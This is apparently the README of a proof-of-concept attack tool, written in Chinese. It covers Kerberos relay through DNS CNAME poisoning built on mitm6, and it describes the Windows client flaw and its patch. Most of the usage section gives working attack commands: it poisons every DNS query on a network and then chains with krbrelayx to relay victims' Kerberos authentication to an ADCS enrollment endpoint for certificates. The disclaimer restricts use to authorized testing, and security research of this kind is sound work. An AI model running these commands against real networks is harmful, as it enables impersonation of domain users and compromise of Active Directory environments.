该工具是基于 MITM6 工具的 Kerberos CNAME 滥用中继技术的概念验证。
研究发现 Windows Kerberos 客户端行为存在一个缺陷:当返回 DNS CNAME 记录时,客户端会跟随别名,并使用 CNAME 主机名作为 SPN 构建 TGS 请求。这使得处于 DNS MITM 位置的攻击者能够强制任何域用户为攻击者选择的服务请求 Kerberos 票据,从而能够对 SMB、HTTP 和其他未强制执行签名或通道绑定的服务进行按需、跨协议的中继攻击。
与以往仅限于机器账户或需要特定条件的 Kerberos 中继技术不同,该方法能够可靠地针对默认 Windows 配置下的用户账户生效。
微软通过应用补丁来强制在 HTTPS 上启用 CBT 并默认对受影响协议启用签名,以缓解风险。该修复被追踪为 CVE-2026-20929。
有关完整的技术细节、利用演练和影响分析,请参阅 Cymulate 上的博客文章。
使用 --cname-source 定位受害者尝试访问的特定域,或使用 --cname-source-all 投毒所有 DNS 查询。两者都需要 --cname 指定将在 CNAME 响应中使用的目标主机名(受害者随后将为此主机名请求 TGS)。
--only-dns 标志禁用原始的 mitm6 DHCPv6 服务器和路由器通告功能。这使得可以将 CNAME 投毒与其他 MITM 技术(如 ARP 投毒)结合使用。
--passthrough 选项接受一个包含应解析为真实 IP 地址的域的文件(格式:每行 domain:ip)。对于保持与域控制器等关键基础设施的连接非常有用(实验性功能)。
pip install -r requirements.txt
使用指向中继目标的 CNAME 投毒所有 DNS 查询:
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname target.corp.local
仅投毒针对特定主机名的查询:
python mitm6-cname.py -i eth0 -d corp.local --cname-source fileserver.corp.local --cname adcs.corp.local
在使用 ARP 投毒进行 DNS MITM 时跳过 DHCPv6/RA:
python mitm6-cname.py -i eth0 --only-dns -d corp.local --cname-source-all --cname target.corp.local
# 终端 1:CNAME 投毒
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname adcs.corp.local
# 终端 2:中继到 ADCS
krbrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template User
该工具是一个非生产环境的概念验证,仅供教育和授权安全测试使用。未经授权访问计算机系统是非法的。请自行承担风险,仅对您拥有明确测试权限的系统使用。
MIT